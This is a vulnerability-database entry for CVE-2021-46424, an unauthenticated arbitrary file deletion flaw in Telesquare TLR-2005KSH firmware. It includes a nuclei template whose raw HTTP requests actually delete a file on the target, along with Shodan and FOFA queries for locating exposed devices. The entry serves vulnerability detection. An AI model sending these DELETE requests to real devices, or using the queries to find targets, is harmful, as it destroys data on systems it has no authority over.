HexBrain

Browse / CVEs / CVE-2021-46424

CVE-2021-46424· telesquare / tlr-2005ksh firmware· CWE-306

Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete

criticalseverity
9.1CVSS score
36.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.

Impact

Successful exploitation could lead to loss of critical data or system instability.

Fix

Apply the latest patch or update provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET /images/icons_title.gif ; DELETE /images/icons_title.gif
Positive when: status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404

Run it with nuclei: nuclei -id CVE-2021-46424 -u <target>

The full check
id: CVE-2021-46424

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
  author: gy741
  severity: critical
  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
  impact: |
    Successful exploitation could lead to loss of critical data or system instability.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
    - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing
    - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46424
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46424
    cwe-id: CWE-306
    epss-score: 0.36459
    epss-percentile: 0.98503
    cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh_firmware
    shodan-query:
      - http.html:"TLR-2005KSH"
      - http.html:"tlr-2005ksh"
    fofa-query: body="tlr-2005ksh"
  tags: cve2021,cve,telesquare,intrusive,packetstorm,vuln

http:
  - raw:
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        DELETE /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"

References

Use this check only on systems you are authorised to test. Where the data comes from